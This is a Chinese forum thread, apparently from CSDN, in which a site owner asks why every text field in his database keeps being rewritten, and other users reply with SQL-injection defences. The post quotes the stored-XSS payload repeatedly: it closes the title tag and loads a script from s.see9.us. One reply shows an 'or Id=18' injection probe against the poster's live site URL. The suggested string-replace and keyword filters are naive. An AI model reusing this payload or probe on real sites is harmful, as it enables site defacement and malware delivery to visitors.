前个月才做好的网站,最近基本上每天都被人拿到数据库权限
把数据库改的面目全非!!所有字符串类型的字段
都 变成这样  比如:   信息表中的   标题 字段  都被改成这个样子:
彩奇加酶倍洁洗衣粉"></title><script src=http://s.see9.us/s.js></script><!--
润喉糖"></title><script src=http://s.see9.us/s.js></script><!--
清泽24小时保湿露"></title><script src=http://s.see9.us/s.js></script><!--
安踏跑鞋"></title><script src=http://s.see9.us/s.js></script><!--
干网纤巧组合装卫生巾"></title><script src=http://s.see9.us/s.js></script><!--
强化葡锌乳酸菌饮品"></title><script src=http://s.see9.us/s.js></script><!--
康师傅红烧牛肉面"></title><script src=http://s.see9.us/s.js></script><!--
思念密枣粽"></title><script src=http://s.see9.us/s.js></script><!--
大吉大粒"></title><script src=http://s.see9.us/s.js></script><!--
红牛维生素功能饮料"></title><script src=http://s.see9.us/s.js></script><!--
但是又不知道,人家是怎么拿的到
的数据库的登陆密码和帐号的,请各位大虾帮帮忙
帮忙找出问题出现在,不然马上就要失业了!!
谢谢各位了!!
测试 http://www.gxbooke.com/try/index.aspx
分不够在加

解决方案 »

  1.   

    需要你对 标题 字段的TextBox输入内容进行过滤验证
    请google一下相关 xss漏洞 防攻击 方法
      

  2.   

    把所有特殊字符全过滤
            /// <summary>
            /// 编码
            /// </summary>
            /// <param name="strSource">源字符串</param>
            /// <returns>返回值</returns>
            public static string Encode(string strSource)
            {
                string strReturn;
                strReturn = strSource;
                if (strReturn.Length > 0)
                {
                    strReturn = strReturn.Replace("&", "&amp;");
                    strReturn = strReturn.Replace("'", "''");
                    strReturn = strReturn.Replace("\"", "&quot;");
                    strReturn = strReturn.Replace(" ", "&nbsp;");
                    strReturn = strReturn.Replace("<", "&lt;");
                    strReturn = strReturn.Replace(">", "&gt;");
                    strReturn = strReturn.Replace("<br/>", "\r\n");
                    strReturn = strReturn.Replace("<br>", "\r\n");
                }
                return strReturn;
            }        /// <summary>
            /// 解码
            /// </summary>
            /// <param name="strSource">源字符串</param>
            /// <returns>返回值</returns>
            public static string Decode(string strSource)
            {
                string strReturn;
                strReturn = strSource;
                if (strReturn.Length > 0)
                {
                    strReturn = strReturn.Replace("\r\n", "<br/>");
                    strReturn = strReturn.Replace("\r\n", "<br>");
                    strReturn = strReturn.Replace("&gt;", ">");
                    strReturn = strReturn.Replace("&lt;", "<");
                    strReturn = strReturn.Replace("&nbsp;", " ");
                    strReturn = strReturn.Replace("&quot;", "\"");
                }
                return strReturn;
            }你还可以写很多想要过滤或替换的,如把Select,%,Like,等一系统的跟SQL有关的全过滤掉
      

  3.   

    标题 字段的TextBox输入内容进行过滤验证 已经进行过滤验证了
    但是是整个表都被修改了的!!
     不但但是信息表 ,包括会员表,联系表,定单表,
    只要 字段是 nvarchar 或则 text 类型的都 被修改戴有这个东西
    "> </title> <script src=http://s.see9.us/s.js> </script> <!-- 
      

  4.   

    想逃避这个命运就好好的看看:
    http://topic.csdn.net/u/20080502/09/d0b1cdc8-2336-4608-8bdc-e77afe1df122.html自已访问你自己的看:http://www.gxbooke.com/try/try_show.aspx?Id=29
    再看: http://www.gxbooke.com/try/try_show.aspx?Id=29 or Id=18你说人家能不能URL进行SQL注入?
      

  5.   

    大小写也要注意,我公司的过滤就因为没注意大小写过滤被注入过!System.Text.RegularExpressions.Regex.Replace(keyword,"DECLARE","*",RegexOptions.IgnoreCase);  
      

  6.   

    这个初步估计是注入攻击吧,你数据库内的信息也已经被修改了;
    你的代码需要在注入框内进行验证,防止sql注入
      

  7.   

    1、用类似NBSI网站漏洞检测工具的东西检查网站的漏洞
    2、补丁修补漏洞
    3、防止对方的注入攻击(方式很多,不细介绍了)

    整体来说就是要攻防结合了